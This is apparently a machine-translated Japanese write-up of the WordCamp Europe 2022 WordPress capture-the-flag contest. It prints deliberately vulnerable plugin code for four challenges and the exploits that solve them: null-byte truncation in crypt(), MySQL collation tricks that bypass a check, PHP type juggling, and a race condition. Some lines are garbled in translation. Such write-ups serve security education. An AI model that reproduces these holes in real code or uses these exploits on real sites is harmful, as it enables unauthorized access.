WordCampEurope2022で旗取り

公開: 2022-06-13

WordCamp Europe 2022の期間中、4つの課題にわたってWordPress Capture The Flag(CTF)コンテストを実施しました。

中毒性の高いCTFの世界を紹介し、セキュリティ研究者がコード内の奇妙なものを探し、それらを組み合わせて奇妙な、時には直感に反することを行うなど、バグハンティングに取り組む方法を体験してもらいたいと考えました。

課題1-あなたは幸運ですか?

課題2–ブロックリストバイパス?

課題3–旗取りのライセンス

課題4– CTFへのライセンス:パート2

試してみたい場合は、ここでチャレンジファイルを入手できます。

hackismet-docker.zipダウンロード

チャレンジ #1-あなたはラッキーですか? (250ポイント)

関連するコードスニペット

 register_rest_route( 'hackismet', '/am-i-lucky', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_am_i_lucky',
     'permission_callback' => '__return_true',
 ]);

 function hackismet_am_i_lucky( $request ) {
     $flag = get_option( 'secret_hackismet_flag_2' );
     if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
        return rest_ensure_response( $flag );
     }
     return rest_ensure_response(false);
 }

どうすれば解決できますか?

この課題は、 /wp-json/hackismet/am-i-luckyルートを介してアクセスできるRESTAPIエンドポイントを提示しました。 ペイロードとハッシュ要求パラメーターを受け取り、 request['payload']をフラグと暗号的に安全な32バイトの文字列に連結し、結果のハッシュをrequest['hash']と比較するように設計されています。

crypt()関数のドキュメントを読むと、この関数は(まだ!)バイナリセーフではないことがわかります。つまり、nullバイト(%00)を使用して、フラグの直前でハッシュされる文字列を切り捨てることができます。 32ランダムバイト。 これは、PHPでのその関数の現在の実装は、基本的に同じ名前の基になるC関数の単なるエイリアスであり、C文字列はnullバイトで終了するためです。

フラグを取得するには、制御するメッセージとプラグインのコードで使用される暗号ソルトを使用してハッシュを計算し、結果のハッシュを「hash」パラメーターで使用して、メッセージを「payload」に入れるだけです。ヌルバイト(%00)と連結されたパラメーター。

成功したエクスプロイトは次のようになります。

/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/

課題2–ブロックリストバイパス? (250ポイント)

関連するコードスニペット

 register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_get_option',
     'permission_callback' => 'hackismet_validate_option',
 ]);

 function hackismet_validate_option( $request ) {
     $option_key = trim( strtolower( $request['option_key'] ) );
     if( empty( $option_key ) ) {
        return false;
     }
 
     if( ! preg_match( '/^hackismet_/i', $option_key) ) {
        return false;
     }
 
     if( $option_key == 'hackismet_flag_1' ) {
        return false;
     }
     return true;
 }

 function hackismet_get_option( $request ) {
    $option_key = trim( strtolower( $request['option_key'] ) );
    return rest_ensure_response( get_option( $option_key ) );
 }

どうすれば解決できますか?

このチャレンジは、 /wp-json/hackismet/get-option/option_key_you_wantを介してアクセスできるRESTAPIエンドポイントを提示しました。

目標は非常に単純でした。「hackismet_flag_1」オプションをリークしてみてください。

残念ながら、そのエンドポイントのパーミッションコールバックは、サイトのオプションを単純に取得できないようにするために、いくつかのことも行いました。

  • オプションキーが「hackismet_」で始まっていることを検証しました。
  • また、取得しようとしたオプションが、フラグが配置されていたhackismet_flag_1ではないことも確認しました。
  • 物事をより難しく見せるために、APIルートは、option_keyルートパラメーターに含めることができる文字を制限し、 \w+正規表現に一致する文字列のみを許可しました。

「hackismet_validate_option」コールバック関数も、「option_key」パラメーターを正規化するために「strtolower」および「trim」関数を使用しました。 これは、文字列の比較で大文字と小文字が区別されないことや、VARCHAR列の末尾のスペースも気にしないことなど、MySQLの「utf8mb4_unicode_ci」照合からの十分に文書化された動作を使用する試みを阻止するためでした。

その他の照合トリック

この課題を解決するには、「utf8mb4_unicode_ci」が文字列検索を実行してチェックをバイパスする方法で他の特性を見つける必要があり、少なくとも2つの方法がありました。

アクセント感度

MySQLの公式ドキュメントに記載されているように:

アクセント感度を指定しない非バイナリ照合名の場合、大文字と小文字の区別によって決定されます。

簡単に言えば、アクセントの感度は重要です。 WordPressのデフォルトの照合では、「_ ci」コンポーネント(「大文字と小文字を区別しない」の略)が使用されます。これは、照合アクセントに依存しないことを意味します。

したがって、「hackismet_flag_1」を渡すと、 hackismet_validate_optionのチェックがバイパスされます。

無視できる重み

MySQLのutf8mb4_unicode_ci照合でUnicode文字列を比較およびソートするために使用されるUnicode照合アルゴリズムは、「無視できる重み」の概念を次のように説明しています。


無視できる重みは、照合要素のシーケンスからソートキーを構築するルールによって渡されます。 したがって、照合要素にそれらが存在しても、結果のソートキーを使用した文字列の比較には影響しません。 照合要素での無視できる重みの賢明な割り当ては、UCAの重要な概念です。

簡単に言えば、アルゴリズムは各照合要素(文字)の重みを計算し、それらのいくつかはデフォルトの重みがゼロであると定義されているため、文字列比較を行うときにアルゴリズムは事実上それらを無視します。

課題を克服するためにその行動を(ab)使用する方法は複数ありました。

  • 文字列内のどこかにnullバイトを追加します(例: hackismet_fl%00ag_1
  • 文字列内に無効なUTF-8シーケンスを挿入します(例: hackismet_fl%c2%80ag_1

MySQLのUCAの実装には、他にも多くの組み合わせがあります。

「option_key」パラメータの文字制限をバイパスする

「option_key」ルート変数は、\w+以外のものを通過させないように定義されました。 それは問題でした。 PHPは、すべての文字列をMySQLのようにユニコード文字ではなく一連のバイトとして扱うため、「/ wp-json / hackismet / get-option/hackismet_flag_1」または「/wp-json/ hackismet / get-option/hackismet_fla」にリクエストを送信します%00g_1」は機能しません。

それを回避するために、REST APIエンドポイントの記述に関するWordPressの公式ドキュメントは、特に次のように書かれている行で少し役に立ちました。

デフォルトでは、ルートはリクエストから渡されたすべての引数を受け取ります。 これらは単一のパラメーターセットにマージされてから、Requestオブジェクトに追加され、最初のパラメーターとしてエンドポイントに渡されます。

実際には、 /wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1にアクセスすると、option_keyパラメーターには「test」ではなく「hackismet_fla%00g_1」が含まれ、強制的にあなたにフラグを与えるプラグイン。

課題3–旗取りライセンス(500ポイント)

関連するコードスニペット

 register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_generate_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_access_flag_3',
     'permission_callback' => 'hackismet_validate_license',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
     'methods' => WP_Rest_Server::READABLE,
     'callback' => 'hackismet_delete_license',
     'permission_callback' => '__return_true',
     'args' => [
         'session_id' => [
            'required' => true,
            'type' => 'string',
            'validate_callback' => 'wp_is_uuid'
         ]
     ]
 ]);

 function hackismet_generate_license( $request ) {
     // 128 bits of entropy should be enough to prevent bruteforce.
     $license_key = bin2hex( random_bytes(40) );
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
     // Reset it.
     update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
     return rest_ensure_response('License successfully generated!');
 }

 function hackismet_delete_license( $request ) {
     // Remove existing key.
     delete_option('secret_hackismet_license_key_' . $request['session_id']);
     return rest_ensure_response('License successfully deleted!');
 }

 function hackismet_validate_license( $request ) {
    // Ensure a key has been set
    if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return new WP_Error('no_license', 'No license exists for this session_id!');
    }
    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }
    return false;
 }

 function hackismet_access_flag_3( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
 }

どうすれば解決できますか?

この課題の背後にある考え方は、(非常に)壊れたライセンス管理および検証システムをシミュレートすることでした。

このチャレンジは、参加者がかなり難解な競合状態の脆弱性を悪用できるようにすることを目的としていましたが、チャレンジデザイナーによる微妙な監視により、意図しない、エキゾチックではないソリューションを使用して解決可能になりました。

フラグを取得するために必要なのは2つだけですが、チャレンジは3つのエンドポイントを提示しました。

  • / hackismet / generate-license /(?P <session_id> [0-9a-f \-] +)/(?<rounds> \ d +)
  • / hackismet / access-flag-3 /(?P <session_id> [0-9a-f \-] +)/(?<rounds> \ d +)
  • / hackismet / delete-license /(?P <session_id> [0-9a-f \-] +)

generate-licenseエンドポイントは、セッション固有のライセンスキーを入力しました。このキーは、 access-flag-3エンドポイントのhackismet_validate_licenseパーミッションコールバックを使用して検証されます。 残念ながら、実際に生成されたライセンスキーが何であるかを確認できなかったため、フラグを取得するためにライセンスチェックを完全にバイパスする方法を見つける必要がありました。

    $license_key = $request['key'];
     // Here for added security
     for($i = $request['rounds']; $i > 0; $i--) {
         $license_key = str_rot13($license_key);
     }
    if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
        return true;
    }

これを行う1つの方法は、 $request['key']に「true」のブール値を含め、 $request['rounds']にゼロの値を含めることでした。 これにより、 str_rot13への複数の呼び出しによって$request['key']が変更されないようにし、ライセンスの検証はPHPの緩い比較演算子を使用して行われるため、比較は常にtrueを返します。

ただし、通常のGETまたはPOSTパラメーターでは、文字列または配列しか含まれていないため、これを行うことはできません。 幸い、WordPress REST APIを使用すると、GET HTTPメソッドを使用するように登録されているエンドポイントでも、JSONリクエスト本文を送信できます。 その結果、次のリクエストを送信すると、チャレンジのフラグが表示されます。

curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'

課題4– CTFへのライセンス:パート2(500ポイント)

関連するコードスニペット

register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
    'methods' => WP_Rest_Server::READABLE,
    'callback' => 'hackismet_access_flag_4',
    'permission_callback' => 'hackismet_validate_license',
    'args' => [
        'session_id' => [
           'required' => true,
           'type' => 'string',
           'validate_callback' => 'wp_is_uuid'
        ],
        'key' => [
            'required' => true,
            'type' => 'string'
        ]
    ]
]);

 function hackismet_access_flag_4( $request ) {
     return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
 }

// (... and basically every other code snippets from Challenge #3! )

どうすれば解決できますか?

この課題は、3つのエンドポイントを提示しました(実際には、3つすべてを使用して解決する必要があります!):

  • / hackismet / generate-license /(?P <session_id> [0-9a-f \-] +)/(?P <rounds> \ d +)
  • / hackismet / delete-license /(?P <session_id> [0-9a-f \-] +)
  • / hackismet / access-flag-4 /(?P <session_id> [0-9a-f \-] +)/(?P <rounds> \ d +)

ご覧のとおり、これらは前回のチャレンジとまったく同じエンドポイントです。唯一の違いは、 $request['key']が文字列であることを確認して、他のチャレンジで説明した型ジャグリングの問題を防ぐことです。

自己説明delete-licenseルートは、期待どおりの結果をもたらしました。つまり、データベースから現在のライセンスを削除します。 同様に、 access-flag-4は、許可コールバックhackismet_validate_licenseがフラグの発生を許可したと仮定して、単にフラグを返しました。

hackismet_validate_licenseコードスニペットからわかるように、 get_optionを2回呼び出すパーミッションコールバック。1回はライセンスキーを検証するために設定され、もう1回は実際に提供しているものと比較するために設定されます。 両方の呼び出しは、 $request['rounds']ルート変数で定義された数のラウンドで実行されるstr_rot13ループによって分離されます。

これにより、rounds変数に大きな数値を送信して、 /hackismet/delete-licenseエンドポイントに到達するのに十分な時間リクエストを遅延させ、ライセンスを自分のライセンスと比較する前に効果的に削除することで、競合状態が発生する可能性がありました。

get_option()がデフォルトで、指定されたオプションが見つからない場合にブール値のfalseを返すという事実は、ケーキのチェリーです。 この関数は$request['key']が空かどうかをチェックすることはなく、PHPでさまざまなタイプを大まかに比較する場合はfalse ==““であるため、セキュリティチェックを完全にバイパスできます。

しかし、これは理論上です!

救助にキャッシュ!

関数のソースコードからわかるように、 get_optionは取得しているオプションの結果をキャッシュするため、同じHTTPリクエストでそのオプションをさらにリクエストしても、追加の個別のSQLクエリは送信されません。 これだけで、競合状態の攻撃が機能しなくなります。 これらすべてのstr_rot13呼び出しをループしているときに、別のリクエストがライセンスオプションを削除したとしても、そのリクエストの結果はすでにキャッシュされているため、get_optionはわかりません。

繰り返しになりますが、ソースコードを見ると、それを防ぐ唯一の方法は、wp_installingが戻ってきた場合です…true? 結局のところ、私たちはそれを実行させることができます。

WordPressはもうインストールされていますか?

wp_installing関数は、WP_INSTALLING定数に依存して、WordPressが現在インストールされているか、それ自体を更新しているかを判断します。 この定数が定義されている場所を検索すると、結果が非​​常に少なくなります。この場合、最も興味深いのはwp-activate.phpです。

<?php
/**
 * Confirms that the activation key that is sent in an email after a user signs
 * up for a new site matches the key for that user and then displays confirmation.
 *
 * @package WordPress
 */
 
define( 'WP_INSTALLING', true );
 
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
 
require __DIR__ . '/wp-blog-header.php';
 
if ( ! is_multisite() ) {
    wp_redirect( wp_registration_url() );
    die();
}

ここでの目的に特に適しているのは、最初に行うことの1つが、wp-blog-header.phpでrequire()を実行することです。

簡単に言うと、REST APIサーバーを実際に起動するコードはparse_requestアクションにフックされているため、WordPressがループの動作に必要なクエリ変数を内部的に設定した場合にのみ使用できます。

これは、wp()関数がwp-blog-header.phpのように呼び出された場合にのみ発生します。

内部的には、WordPressはrest_routeパラメーターを使用してロードするルートを認識しているため、/ wp-activate.phpにアクセスしているときにAPIを起動するために必要なのは、そのパラメーターをURLに追加することだけです。

そのため、最終的な攻撃は次のようになりました。

  1. /wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$roundsにリクエストを送信します。ここで、 $roundsはかなり大きな数であり、このリクエストをステップ2を実行するのに十分な時間実行します。
  2. 最初のリクエストがstr_rot13ループでブロックされている間に、リクエストを/wp-json/hackismet/delete-license/$session_idに送信します。
  3. 最初のリクエストが完了するのを待って、フラグを取得します。

結論

Jetpack Capture The Flagコンテストのこの初版に、私たちが実行していたのと同じくらい楽しんで参加していただければ幸いです。 将来的にもこれを行うことを楽しみにしています。 CTFの詳細については、CTF101.orgをチェックアウトしてください。

クレジット

チャレンジデザイナー:Marc Montpas

WordCampEuropeで直接言葉を広めてくれたHaraldEilertsenと、フィードバック、ヘルプ、修正をしてくれたJetpackScanチームに特に感謝します。